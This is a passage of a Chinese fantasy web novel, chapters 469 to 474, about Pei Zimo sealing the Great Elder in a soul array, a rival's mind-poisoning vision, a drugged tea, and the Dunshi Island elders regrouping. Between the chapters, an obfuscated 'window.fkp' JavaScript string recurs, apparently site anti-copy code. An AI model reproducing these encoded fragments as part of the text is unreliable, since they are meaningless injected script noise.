“因为她和地府的关系,她必须要去地府,她身边必须有人能开黄泉路。”二长老眯了眯眼,更加肯定自己的猜测。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第469章 这烂摊子还得她自己来收拾 “所以啊,锦枫要留着,还得好好留着,将来父子相认的画面,一定会很感人的。”二长老笑了一声。 萧南曦皱了下眉,想说什么,但最终还是把话咽了回去,什么也没说。 * 老和尚有了徒弟,就心满意足的离开了。 裴子墨找了块平滑的石头坐下,看着面前的没了气焰,像是斗败的公鸡一样的大长老,开口道,“这个阵法,可是我特意为你改良的。不像是九长老的那个,一进去就差点要了他的命。” “其实那个阵法,也确实可以要了他的命,他之所以没死,是因为我和地府那边打了招呼,地府不会收他的魂魄,我又及时把他从阵法里拽出来,给他留了一口气。” “这阵法啊,我反反复复研究了很多年,就想着怎么才能让你在这里遭受最大的折磨,逃不出去,也死不掉,别人更没办法救你出去。” “好在呢,有大师的帮忙,我又在这里加了这四条铁链锁住你的手脚,这铁链上,都是克制魂魄之术的阵法和符咒,你动用魂魄之术,它们就会攻击你,你不动用的话,它们每隔一段时间还是会攻击你。” 裴子墨说着笑了笑,“还有我在这里埋下的九个魂魄,前些日子为了平衡阵法,我放了一个裴家人的魂魄进去,不过现在有九长老在,我正好把那个魂魄放出来,让九长老在这里陪着你。” “反正一直以来,不都是你们两个的关系最好么?你放心,在未来的无数年里,你们都会在这里为伴。” “裴子墨,你别高兴得太早!”大长老咬着牙恨恨地看着她,“除非你现在杀了我,不然只要我有一口气,我早晚都要杀了你!” 听到大长老说这个,裴子墨笑出了声,“你恐怕还不明白自己的处境,这阵法为了维持平衡,会不断的从你的身上汲取力量,分散给其他九个魂魄,你越强大,其他九个魂魄也越强大。但如果那九个魂魄的力量强过你了,阵法又会把它们的力量转到你身上。” “所以你们之间,会永远维持着这种平衡,在阵法之内的你们,永远都没有办法打破这阵法。” “而若是外人想来要破这阵法救你呢?那恐怕术法要在你们十个人之上,因为这阵法会把你们十个人当成一个整体,只有外在的力量超过你们十个人,才能打破这种平衡,把你救出去。” “一个你,就已经压制遁世岛所有人了,况且再加上九长老呢?” 裴子墨摇着头叹了口气,“只要我不解开这阵法,你永远都别想离开这里。如果哪天我觉得你赎罪赎够了,厌烦你活着了,我就启动九星灭仙阵绞杀的阵法,送你去地府,地府那边可等你等很久了,你去了之后,大概只会比这里让你更难受。” 她说完站起身,打算要离开,走了几步,又想起什么,停下来,转头看向大长老,“我记得你特别讨厌诵佛,但凡有佛寺的地方,你都绕路走。所以遁世岛上,根本就没有任何佛寺和僧人。” 这件事还是当年“神阵公”告诉她的,所以“神阵公”的后人才会在寺庙里守护长明灯。 “你大概也没想到,自己会栽在一个老和尚的手上。” “回头呢,我就让人在这上面盖一间佛堂,再请来各地高僧在这诵经念佛,让你好好感受下佛法无边。” “裴!子!墨!”大长老咬牙切齿地叫着裴子墨的名字,下意识地就用上了魂魄之术想要攻击,可随即脑海里就传来一阵刺痛,他瞬间就倒在了地上,差点失去知觉。 裴子墨冷笑着看了他一眼,转身离开了这地下室。 封好入口,她才放出了裴黎的魂魄,“之前委屈你了,只要你不害人,想去哪里,就去哪里吧。” 裴黎沉默了会才问,“凌珞在哪?” “在琼华山。”裴子墨也没有隐瞒。 裴黎点点头,眼底却依旧带着一丝犹豫。 裴子墨也没有劝,这种事,总要有人走出第一步,他们的心结也只能靠他们自己来解开。 裴黎又转头看了一眼地下阵法的方向,“凌幽会怎么样?” “会永远在这里,等哪一天阵法解除的时候,术法尽失,就看地府那边怎么处理,如果地府放他一条生路,他还可以进入轮回。”裴子墨开口道。 “他大概接受不了这种结局。”裴黎说着顿了顿,“不过这种的结局对他来说,其实不是坏事。” 裴黎一开始确实为她和凌幽还能重逢这件事开心,可后来她发现,就算当年的事另有隐情,凌幽没有骗她,但是这么多年过去,事情早就变得不一样了。 尤其是凌幽得到那血莲之后,丝毫都没有犹豫,就汲取那血莲之力。 而且听柳浅话里的意思,她和凌幽之间的关系早就越过了那一步。 那时候开始裴黎就对凌幽彻底死心了,如今还问下凌幽,不过就像是为他们之间的事情彻底地做个了断。 裴子墨也就没再说话。 站了半响,裴黎才又道,“我去琼华山看看凌珞,然后也许四处走走,若是能帮些人,就帮些人。我以前一心修炼术法,后来被困在这里,说实话,还挺想到处看看的。” “不过地府那边,为什么一直没有带我的魂魄走?” 裴子墨笑了笑,“有些故事,你去找凌珞,他会告诉你的。其实我也早就盯上你了,被我打了印迹的人,就是我要留下以后用得着的,地府便不会收走魂魄。” 裴黎微微点点头,“有缘再见。” 裴子墨看着她离开,目光又在昭纯宫这片平地上扫视了一圈,才慢慢地往外面走。 这一次若是没有老和尚,恐怕事情没有这么容易解决,她就算能用些办法诱大长老落入陷阱,自己也落不到太多的好处。 她甚至都做好了跟大长老同归于尽的准备。 她死了,到地府,也不过就是重来一次。 裴子墨深呼吸了一口气,只不过这几个长老,估摸着也还没来得及解决裴子衿留下的烂摊子,如今这烂摊子还得她自己来收拾。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第470章 我的良心早就死了 “你可以走了。”萧尺寒站在门口,看着坐在窗边看书的白锦夜开口道。 白锦夜轻轻皱了下眉,放下书,抬眼看向他,“你不是说,你走不了,我也走不了么?” 萧尺寒轻笑一声,“这里其实根本就没什么阵法,你没办法离开,是因为中了我的幻象。” 白锦夜向后靠在椅背上,眯眼看着萧尺寒没有说话。 “我这也是受人所托,你有什么气别跟我撒。”说完萧尺寒掸了掸衣襟,“不走么?不想回去看看,盛京发生了什么事么?” 白锦夜看了会萧尺寒,才站起身,往外面走。 萧尺寒也就跟在他身后,等走到院门的时候,他又突然开了口,“白锦夜,你想不想知道,裴子墨究竟为什么会让你来这里,又为什么让我困住你么?” 白锦夜的脚步顿了下,“我来的那天,你不是就说过了么?” 萧尺寒轻笑一声,“我若是那天跟你说了真话,这些天我还会有清静么?” 白锦夜转过身,“你想说就说,别绕弯子。” 萧尺寒垂下眼,半响后才道,“你这一世的姻缘,是裴清歌,裴清歌死后,你的姻缘就断了,你和裴子墨之间,这一世没有任何的可能。” “是么?”白锦夜忍不住笑了一声,“你现在开始做上月老的活儿了?” “我已经跟你说过了,我可以预见未来,闲着无事的时候,我早就把每个人的未来都看了一遍了。”萧尺寒继续道,“裴子墨心中执念最深,这执念是对遁世岛,也是对……她的孩子,为了能让这个孩子复生,付出任何代价她都心甘情愿。” 沉默了一会,他才继续道,“最好的情况,当然是你们还能在一起,她怀孕,生下你们的骨肉,让孩子的魂魄能够重新转世。可你们这一世没有缘分,她为了这孩子,只能选择其他人。” 白锦夜眯起眼,没有说话。 “锦成曾经是她的备选,她为此甚至改了锦成的命,锦成一心想得到她,却也一样没有缘分。她也是不久之前才推算出,跟她有一丝露水情缘的人,其实是……凌锦枫,这个名字你应该不陌生吧?”萧尺寒又道。 白锦夜垂在身侧的手,微微握成拳,他自然知道凌锦枫是谁,如今萧尺寒也知道,要么就是他真的在未来里看到了什么,要么就是裴子墨说的。 只不过,裴子墨这一世,在事情没发生之前,都很少把事情说出来,况且她和萧尺寒应该也没有熟到说这种事的程度。 那显然就是前者了。 萧尺寒说完,抬手一挥,一片幻象出现在两个人的面前。 幻象里的内容看的白锦夜额角青筋暴起,随即就侧过身,闭上了眼睛,“萧尺寒,别用你的幻象挑战我的底线。” “这可不是幻象。”萧尺寒笑道,“这就是你不在盛京时,真真切切发生的事情,裴子衿和凌锦枫逃出了遁世岛,如今恐怕裴子墨的腹中已经有了凌锦枫的孩子。” 白锦夜冷笑一声,转身要走。 “但我可不是要跟你说这些的。”萧尺寒收起嘴角的笑容,看着白锦夜的背影继续道,“裴子墨不会承认这个孩子是凌锦枫的,毕竟在我看到的所有的未来里面,他都活得极其窝囊,满口谎言,担负不起一个男人的责任。” “所以等你回去之后,她应该还是会想办法,蒙骗你,让你以为这个孩子是你的,反正你的术法在她之下,她想控制你易如反掌。而你被蒙蔽之后,从此后就会豁出命来保护她和孩子。” “这一次遁世岛的大长老带人去了盛京,可是中了裴子墨的圈套,他们不仅没把裴子墨怎么样,甚至大长老也折在了裴子墨的手里。剩下的人,算是落荒而逃,但他们依旧不会死心,还会找机会再出来找裴子墨的麻烦。” “他们两次在术法上吃了亏,以后也不会再跟裴子墨正面硬碰硬,而是会用诡计。不出意外,等下一次遁世岛卷土重来的时候,你就会因为救她而死。” “你们的姻缘早就断了,等你再转世,跟她也不会再有任何的交集。对于你来说,你死了,一切就结束了,但是对于其他人来说,却像是刚刚开始。因为那孩子会被遁世岛带走,他们会杀了凌锦枫,嫁祸到裴子墨和你的头上,遁世岛拿裴子墨没办法,就只能让他们母子相残。” “你说到时候是从小生活在仇恨之中孩子杀了裴子墨,还是裴子墨不念母子之情杀了那孩子?这孩子就是未来一连串悲剧发生的根源,若是没有这孩子,很多事都可以避免。” “白锦夜,我爷爷活着的时候,一心希望你能和我妹妹在一起,他对你青眼相加,虽然……他人已经不在了,但是我想,如果他还活着,他应该也会赞成我把这些事告诉你,让你能趁早有个准备。” 白锦夜睁开眼睛,“萧尺寒,她没什么对不起你的地方,你这样做,对得起自己的良心么?” “信不信,都在你。”萧尺寒说着双手合十,对白锦夜微微鞠了个躬,“我该说的,都已经说完了,之前萧家出事,她救了我一命,她这一次让我帮她,我已经帮完了,以后便各不相欠。” 白锦夜看了他一眼,转身走了两步,又想起什么,“能预见未来,固然是好事,但是事在人为,我劝你活在当下,少看些还没发生的事。”说完,这一次再也没有停留,大步离开。 等他走远了,萧尺寒才直起身,看着白锦夜离开的背影冷笑了一声,“良心?我的良心在萧家人全被杀死的那一刻,就跟着一起死了。” “我已经家破人亡了,难道还要让我眼睁睁地看着你们渡过一切苦难,一家三口幸福地生活?绝对不可能!” “我就不信,你看过那幻象,对裴子墨还能心无芥蒂!” “以前我没办法,只能任你们鱼肉,以后……我就是要让我承受过的,你们也全都要承受一遍!” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第471章 我们的孩子 白锦夜回到盛京的时候,盛京城内一片祥和,白风御早他两天回到京城,昭纯宫上方已经开始动工盖佛堂。 白风御拉着他又聊了半响,大概说了些关于城内百姓没有被殃及,这是他最开心的事了,又说回来之后就没见过裴子墨,裴子墨也只是让人传了话,说让在昭纯宫的原址上修建佛堂,之后再请僧人过来每日诵经,说是那里怨气太重,需要靠诵经来化解,至于时间,那就是越长越好。 说完他搓了搓手,继续问其他的事情解决没。 白锦夜刚回来,当然也什么都不知道,只能说问过裴子墨后再答复。 白风御看着白锦夜又急匆匆离开的身影,忍不住叹了口气,他这个弟弟,天天什么都不知道,这可怎么行啊? 回头还是得让皇后和裴子墨常聊聊,让他们这对夫妻能过点正常的日子。 白锦夜四处都找过了,也没找到裴子墨的影子,最后还是问了鬼卿,才知道裴子墨最近每天都去城东的白云寺。 他找到白云寺的时候,裴子墨正一个人坐在寺里后院竹林中的凉亭里。 她面前放着一壶茶,除此之外,石桌上还放着一个小瓷瓶。 这个小瓷瓶他当然认识,就是装着孩子魂魄的那一个。 他轻轻皱了下眉头,走了过去。 对于他出现,裴子墨也不意外,他的气息出现在盛京的时候,她就已经知道了。 白锦夜在桌边坐下,沉默了好一会,才开口道,“我去找萧尺寒之前,你就说我们不用再躲了,可为什么还要让我一个人躲起来?” 裴子墨转头看他,没急着说话,只是先给他倒了一杯茶,随后才道,“你连萧尺寒的幻象都看不破,就算留在盛京,也帮不上什么忙。” “确实,我好像一直都是拖你后腿的人。”白锦夜不冷不热地道。 裴子墨也知道,这件事肯定会惹白锦夜生气,“这一次其实算是侥幸,我让萧尺寒帮我预测过很多次未来,但碰上大长老,结局都不会怎么好。可我也确实不想再躲下去了,这一次我已经做了最坏的打算。” 她说着从袖袋里拿出一个小小的黑色的锁头,“这是地府那边给我的锁命石,它的锁芯在我身上,我只要能找到机会,把它锁在大长老的身上,我死了,我的魂魄去哪里,就会拉着大长老去哪里。” “我本来,确实是做了这个打算的。不过好在后来找到了那位大师,我以给他找个徒弟并且这人的资质绝对不会比我差为条件,让他来帮忙。” “这位大师确实很神奇,我无论怎么算卦,他都不在卦象之内。我就算是让萧尺寒预测,萧尺寒看到的未来里也永远都没有他。” “萧尺寒看不到他,萧南曦自然也看不见。就算他们卜卦,也会和我一样,也根本算不到有人相助于我。” “我想这位大师,应该不在五行之内,可却是一切事情最大的变数。” “所以我也答应他,等……等我们的孩子生下来,会拜他为师。” 裴子墨说着目光落在面前的瓷瓶上,眼底难得地闪过一抹柔和的笑意。 “我们的孩子?”白锦夜重复了一遍,又顿了会才问,“这一次遁世岛都是谁来了?” 裴子墨本来也没打算隐瞒,于是就把之前的事情说了一遍。 白锦夜垂下眼,手指微微蜷缩了一下,“我在回来的路上,好像见到裴子衿了,她也来了?” “哦。”裴子墨这才想到裴子衿和凌锦枫的事,“是,不过不是跟着那几位长老出来的,是私自跑出来的,裴子衿怀了凌锦枫的孩子,他们一起跑出来,来找过我,后来裴子衿自己走了,至于凌锦枫……这会应该被二长老他们带回遁世岛了。” 白锦夜这才抬眼看向裴子墨,见她神色如常,微微皱了下眉头,想说什么,可话到了嘴边,又全咽了回去。 “怎么了?”裴子墨看着他。 “没什么。”白锦夜摇了摇头,随即转移话题,“鬼卿说,你这些日子都住在寺里?” “是。”裴子墨点点头,“这孩子的魂魄被大长老封印折磨多年,带了不少戾气,若是用术法去除,我担心会影响到他的魂魄,所以就来了寺院,希望能有所帮助。” 白锦夜没再说话,沉默了会,站起身,正要离开,眼前却一片眩晕,他抬手揉了揉眉心,又看了看茶杯,想到了什么,“这茶……” 他话还没说完,整个人就失去了意识倒在地上。 裴子墨皱起眉头,她今日坐在这里,还没有喝茶,白锦夜的这杯茶,就是这壶茶的第一杯,她打开茶壶盖,检查了一下,并没有发现什么异常。 她起身蹲在白锦夜的旁边,查看了半响,虽然没有弄清楚是怎么回事,但是却见到白锦夜身上某处和冥尸相关的阵法突然忽隐忽现。 按理说,这些阵法平时都是隐藏起来的,根本不会显现出来。 除非……现在有人在试图控制白锦夜,可却被冥尸的阵法压制。 两种控制术的冲击下,才让白锦夜晕了过去。 裴子墨微微眯了眯眼,那日凌锦枫去她房里的时候,是被人控制的状态,她当时就知道,控制他的人是裴子衿。 所以……白锦夜这会也是和凌锦枫的状况相同了。 这药恐怕就是大长老给遁世岛岛主吃的药,无色无味,术法再高的人都分辨不出来,所以裴松也根本不可能发现。 如果大长老掌握好剂量,每次只用一点点,裴松就会连一丝异常都察觉不到。 看样子裴子衿从遁世岛逃走之前,还真是做了不少准备。 只不过这壶茶本来是她要喝的,裴子衿把这药下给她……大概就是因为她实在找不到白锦夜,所以想要通过控制她的方式,来找到白锦夜在哪。 裴子墨在白锦夜的身上翻出来一个小瓷瓶,把原本的药丸倒出来,又把茶壶里的水倒进去了一些,随即朝着白锦夜一招手,白锦夜就直直地站起身,跟着她往厢房走。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 第472章 白锦夜,你不对劲 白锦夜突然惊醒的时候,是躺在床上,应该是深夜,房间里光线虽然昏暗,可他也能看清楚裴子墨就躺在他身边睡觉。 他身上的外衣都被脱掉了,只剩下贴身的衣物,就连裴子墨也一样。 他之前也不是没有和裴子墨睡在一张床上过,可要么是和衣而睡,要么各自盖着盖子,有时候中间的距离恨不得能再睡下一个人。 他抿了抿唇,对昏迷这中间发生的事情,一丝丝模糊的记忆都没有。 他脑袋里一下子就乱糟糟的,萧尺寒说过的的话,有一句没一句的在他的脑海里浮现,就连那幻象里的画面,都像是刻在脑海里挥之不去。 白锦夜又重新躺下来,如果……他是在裴子墨的控制下,那做过什么没做过什么,他自己可能根本就不知道。 可是如果裴子墨想要控制他,也根本没有必要在茶水里做手脚。 脑袋里就像是有两个人在打架,一个人说要相信裴子墨,可这个念头一旦冒出来,就会有另外一个人大喊萧尺寒说的也不像是假话。 他躺在床上,再也没了一丝睡意。 一直到第二天早上裴子墨醒来,见到白锦夜躺在那,看着上空发呆,“你感觉怎么样?”她随口问了一句,就掀开被子下了床。 白锦夜下意识的就觉得她这句话是话里有话,隔了会才反问,“我应该觉得怎么样?” “你怎么了?”裴子墨有些奇怪地看着他,“你是遇到什么事了么?怎么怪怪的?” “我没遇到什么事。”白锦夜坐起来,又看了看自己的身上,“是你帮我脱了外衣?” “是你自己啊。”裴子墨笑道,“我可以控制你,脱衣服、上床睡觉这种事,我就没必要自己费力气做了吧?” “那你还控制我做什么了?”白锦夜抬眼看向裴子墨,眼里带着一丝紧张。 “还做什么?”裴子墨嘴角的笑容慢慢地收起来,盯着白锦夜看了好一会,才凑过去,弯腰看着他,“这是佛门净地,我能做什么?” 听她这么一说,白锦夜的神色顿时有些窘迫,不自然地别开眼睛。 “白锦夜,你有点不对劲。”裴子墨说着迅速的伸出手,按在白锦夜的眉心。 白锦夜知道她要做什么,当即就要推开她,可手刚抬起来一丝,就不受控制地落了下来,他拧着眉,“你说话还是这么不算数。” 裴子墨没有理会他这句控诉,随着看到白锦夜脑海里的事情,她的表情逐渐变得严肃起来,片刻后,她收回手,往后退了两步,“萧尺寒跟你说的,你相信了?” “我……我不相信,可总是避免不了去想。”白锦夜说出这句话的时候,本来觉得自己应该是委屈的,甚至带着几丝怨念的,可不知道为什么,这会竟然有点心虚。 “留下萧尺寒,不知道是对是错。”裴子墨轻笑一声,转过身走到桌边坐下,“你知道‘神算公’一脉的秘密么?” 白锦夜摇了摇头。 “‘神算公’一脉,最大的秘密,不是他们算卦奇准,而是他们能随意改命。其实‘十一公’每一脉,都有自己的秘密,一般情况下,也绝对不会想要外人知道自己的秘密。‘神算公’这一脉,也不是人人都能改命,而是一旦有一个人学会了改命之术,那其他人就会丧失这个能力。” “也就是说,这世上,其实真正能随意改命的,永远只有一个人。其他人想要改命,可能要通过一些手段,比如当时裴姝帮袁澈改命,就是通过付出一些代价来达到目的。我不是‘神算公’一脉的人,原则上是没办法学会这种随意改命的术法的。” “但当年‘神算公’用了些手段,让我可以不用付出太多的代价,就可以帮人改命,但不能常用。也正是因为如此,在我离开遁世岛之后,‘神算公’就再也没有用过这个术法,这其实是相当于我在他身上借力,可他如果帮人改命,就是收回了他借给我的东西。” “改命不见得都是好事,原则上不到万不得已,是不应该用的。可萧尺寒的能力对我来说,确实太重要了,我只能改了他的命。” “其实如果没有我,鬼卿不对萧家动手,他们家也坚持不了多久了。萧家这一支其实是萧玲珑和裴子轩的后人,上一次裴子轩出来,就是为了解决这一支血脉,裴子轩动手,萧家人只会死的更惨,就连萧尺寒也难逃一死。” “而且为了防止这事情败露,裴子轩甚至连魂魄都不会给他们留下。我改了萧尺寒的命,那所有跟他有交集的人和事,其实都会相应的发生改变,这一连串的影响极多。” “如今,他大概是把萧家人之死也全都算在了我的头上。所以才会对你说那些话,让你猜忌我,他失去了家人,自然不会想要见到我好。” “我上次见他的时候,他的眉心上就有暗红发黑的气息,他身上的戾气已经越来越重。这可能就是我给他改命带来的后果。” 白锦夜皱起眉,“那你岂不是亲手制造了一个怪物?” “没办法,当初要用他,就要承受这样的后果。”裴子墨说着站起身,走到白锦夜的身前,抬手重新按上他的眉心。 白锦夜只感觉她指腹按着的地方,有一丝丝的凉意渗进他的脑海,顿时整个人都清明了不少,看过萧尺寒的幻象带来的影响,也在逐渐减弱。 “他的幻象里带了些术法,你没有防备,只以为是看了幻象,实际上却已经受到了术法的攻击,这倒是不会伤害人,只是会让幻象在你脑海里留下的时间更长,并且不断的想起来。”裴子墨解释道。 “什么时候才是个头?”白锦夜抬手握住裴子墨的手,“如果在未来的很长一段时间,我们还是要过这样的日子,你能不能把我的封印也去除掉?不然就连萧尺寒的幻象我都躲不过,觉得自己实在没用。子墨,我想能帮你做些事,而不是永远像是一个和这件事完全没关系的人。” “你安排了那么多人来帮你,那我呢?你就想让我一直这样像一个外人么?” 第473章 遁世岛要完了 裴子墨轻笑了一声,“是啊,我已经找了那么多人来帮我,以你和我的关系,我又怎么可能没在你身上安排什么?” 白锦夜有些诧异地抬头看着裴子墨,半响后才道,“所以,你的意思是,我还要再等等了,总归是有需要我做的事情。” 裴子墨没有回答他,只是说,“遁世岛暂时不会再来,不过现在散在外面的麻烦也不少,裴子衿,萧尺寒……都得一一去解决,让一切回到正轨。” * 遁世岛从来没有一刻像今天这样沉寂过。 还剩下的八位长老外加裴松坐在大堂上,谁也没有说话,屋子里安静的甚至能听见彼此的呼吸声。 最终还是二长老打破了这安静,“大哥和老九的事瞒不住,早晚要告诉他们的族人。现在的问题是,他们的族人怎么办,是维持现状,让他们两脉各选出一个人代替大哥和九长老的位置,还是把他们都打散,分到我们几脉来。” 当年“神算公”被镇压之后,他的族人就被封印了记忆,分散到其余十脉。 但那时候他们到了遁世岛也没多久,族人相对比较少,如今又过去这么多年,尤其是大长老一脉,人数众多,想要分散出去也不容易,况且大长老的族人这些年有大长老做后盾,总是自觉自己高人一等,若真是较真起来,跟各脉的关系都不太好。 可若是不分散族人,让他们各自再选出一个人来继承长老的位置,那这个人肯定是其他长老的晚辈,术法上也完全没办法相提并论,即便是成了长老,也是没什么发言权的,基本相当于一个摆设。 “我觉得与其考虑这两个问题,不如先想想,大哥和老九的事,要怎么对外说。”三长老开口道,“按照你们说的,其实他们两个也没死,那我们就不能对外说他们死了。” “但如果他们没死,我们却龟缩在遁世岛不去救人,那就是说,我们怕了裴子墨了,在这场争斗中,我们失败了,这样一来,会不会有更多的人,效仿裴子墨,想要离开遁世岛。” “可如果我们说他们死了,将来他们又出现了,那我们要如何解释?甚至于他们死了,我们连尸体都没办法带回来,那我们这些长老恐怕一样颜面无存。” “这也不行,那也不行,那你倒是说个行的。”八长老有些不耐烦了。 “我只是把情况分析一下,我们坐在这,不就是要讨论出个结果么?”三长老拧起眉。 “没错。”二长老开口道,“而且,裴子墨的事,也要有个定论,以后我们到底要怎么处理跟她相关的事情。” 以往有大长老在,其实根本没有什么讨论的余地,事情基本上都是大长老做主,说什么就是什么,现在大长老不在了,一时之间,也没人愿意开口提出意见。 “既然没人说话,那我就做主了。”二长老眯了下眼,开口道,“大哥和老九毕竟没死,我们还是不能把他们的族人分散下去,就让他们各自选出一个代表,暂时替代大哥和老九的长老位置。他们既然是晚辈,那很多事可以不用参与决定,但是总要知道我们决定了的事情,该传达给族人的,让他们各自回去传达就是。” “至于大哥和老九的情况,就说他们是在外面封印裴子墨,他们舍弃自己的自由,镇压了裴子墨,以后很难再回遁世岛了。” “呵。”三长老轻笑一声,“被人家镇压在阵法里,这到了你嘴里却反了过来,说出去确实好听。” “不然你还有更好的办法么?”二长老反问。 “没有。”三长老当即道。 “那就按照我说的办。”二长老板起了脸,“今天就到这吧,一会我和老六去大哥和老九的家里通知,你们管好自己的嘴,什么该说什么不该说,都有些分寸。” 说完便站起来带着凌霄走了。 三长老显然是看不过眼,起身也要离开。 走了没多远,就被萧南曦叫住,“三哥,我有点话想跟你私下说。” 三长老点了点头,带着萧南曦走到了隐蔽处。 四下确实没人,可萧南曦还是设置了一个隔音的阵法,又隔了好一会才说,“遁世岛要完了。” 三长老瞥了她一眼,并没有因为她这句话而惊讶,只是问,“你看到什么了?” “我这次出去,术法受到了压制,没办法预见未来。但是回到遁世岛的那一刻,我就看到遁世岛陷入熊熊大火之中,而我们的族人,因为没有办法离开遁世岛,只能葬身火海。那画面……”萧南曦说着顿了顿,“我从未见过那样的画面,是灭顶之灾,就像是人间炼狱。” “三哥,我们把遁世岛和外界隔绝开,我们把这里当成仙岛,外面设置了那么多迷障防止别人进来,可我们也同样堵死了我们离开的路。” “在遁世岛的生活,真的是我们曾经想要过的生活么?” 萧南曦看着远处,眼里全是迷茫。 “你见过裴子墨了?”三长老看着她,“她跟你说什么了?” “她说我们是‘伪仙’。”萧南曦说着顿了顿,“她说的也没错,我们其实是把自己困在了遁世岛,还自以为凌驾世人之上。” 说完这句,她沉默了半响,目光终于变得坚定了起来,她转头看向三长老,“三哥,我决定了,我不能再让我的族人都困在遁世岛,我要带他们离开这,只有离开这,在更广阔的世界里,他们才能有更多的可能性。” “这些年,我们认为我们知道的就是正确的,我们从来没想过跳出来看看。我在外面有个族人,是个男子,却有了我们这一脉只有女子才能学会的幻象之术。” “我猜,他身上一定有着不小的机缘。可我们的族人都在遁世岛,生活安稳,没有任何危机感,他们根本不会想着突破,想着进步,我们已经把他们能成长的高度全都限制死了,不能再这么下去了!” 第474章 这个故事怎么这么熟悉呢? 听了萧南曦的话,三长老文子山的脸上露出一抹喜色,“你若是真这样想,那就最好。可你要知道,你的族人甚多,想要离开遁世岛没那么容易。况且从这出去,要有黄泉路打开通路,没有老六那边的帮忙,基本不太可能做得到。” “到时候,恐怕你们还没走出去,就已经被人发现,到时候你们全族人会是什么样的下场,你应该知道。” 萧南曦皱起眉头,又隔了好半天才说,“所以,我们只能等裴子墨么?我们也可以帮她不是么?现在大哥和老九都不在了,若是我们帮她,她的胜算就更大一些。” 文子山轻轻点点头,“只不过这一次之后,裴子墨恐怕也要沉寂一段时间了。” “她身边,有很厉害的人。”萧南曦开口道,“甚至大哥……连还手之力都没有。” “是真仙?”文子山问道。 萧南曦摇了摇头,并不确定对方的身份。 沉默了会,文子山才开口道,“你出去奔波一趟,也累了,先回去好好歇着吧。” “嗯。”萧南曦应了一声就要走。 “你刚才跟我说的话,回去就忘了,千万不要再跟任何人提起。”文子山又交代了一声。 萧南曦点点头,慢慢地走远了。 文子山在原地站了许久,最后慢慢地向后山镇压“神算公”的阵法走去。 * 裴子墨在盛京之中,要解决裴子衿留下的烂摊子,头疼了些日子,最后也只能用化整为零的方式,在盛京各处设置了不少的阵法,以来平衡气运。 这一件事,就忙碌了几个月。 白锦夜在家呆的实在无聊,甚至都开始去上早朝了。 等裴子墨把这事解决的七七八八,终于能休息两天的时候,楚星玄突然从东凉国赶过来了。 他神色慌张,显然是有大事。 见到裴子墨还在盛京,他才算是松了一口气,若是在盛京没找到裴子墨,他都不知道该去哪找人了,若是再回北冥国一趟,那时间都不知道来不来得及了。 于是在喝完了一整壶茶润口之后,终于开了口。 “我去东凉国之后,确实找到了我的家人,只不过只剩下了一个叔叔,在东凉国朝中做官。官位也不低,我去找上他的时候,他只当是穷亲戚来投靠,给了我点钱想把我打发走。” “我跟他打听了些我父母年轻时候的事情,他也就随口敷衍了下我,既然已经没什么亲情在,我也没有勉强,就想着在东凉国四处转转,毕竟是我亲生父母生活的地方,我总该有所了解。” “时间久了,我听说了一件事,说是在沿海一代,有一个小国,这个小国以前从未与外界沟通过,但是有一次,他们的一个渔民迷了路,见到了新的陆地,误打误撞,知道了东凉国,随后就派了使臣前来访问。” “这个小国不大,但是遍地黄金……” “他们还有许多特产,想要和东凉国互通有无?尤其是粮食一类的物资极其匮乏,所以他们愿意高价买入粮食。”裴子墨接过了他的话,“这个故事怎么这么熟悉呢?” 楚星玄有些诧异地看着裴子墨,“你怎么知道?你算卦算出来的?” 裴子墨转头看了看白锦夜,“你怎么看?” 白锦夜轻轻地敲了敲桌子,开口问,“他们是什么时候到东凉国的?” “应该有一年多了。”楚星玄想了想道。 “那也就是说,他们先到的东凉国,然后才来天风国,可他们在天风国的时候,从未提起过任何东凉国的事,还说天风国是他们第一个发现的国家。”白锦夜轻笑了一声,“他们是不是也知道了什么,所以提前囤积粮食?” “不,他们不是囤积粮食。”楚星玄给出了很肯定的答案,“他们主要是要把他们的特产卖到外面来,那些特产不知道到底是什么东西,一开始吃了没什么反应,但是慢慢的,就像是上了瘾,于是吃过的人,就要不停的去买,他们开始的时候,卖的价格特别低,再后来,就逐渐涨价。” “这还不是最可怕的,最可怕的是,他们中间,有一个穿黑袍的人。这个穿黑袍的人,在他们中的地位应该极高,他会吹奏一种奇怪的乐器,那乐器只要一响起来,吃过他们东西的人,就会完全听他指挥。” 楚星玄说着摸了摸自己腰间的笛子,“就像我控制蛊虫一样,他可以控制人。不过这种控制术的副作用非常大,人在被控制期间,会爆发出来超出常人几倍的力量和速度,可控制一旦解除,这些人的身体就会以特别快的速度腐败。” “我检查过一具刚刚开始腐败的尸体,在它的肉里面,有一些很奇怪的黑线。”他拧着眉,“该怎么形容,就好像是吃下去的那些东西,变成了他们肉里的黑线,而这黑线就像是控制木偶一样控制他们。但是这种控制用过一次之后,那黑线就会迅速的吸收他们身体里的养分。” 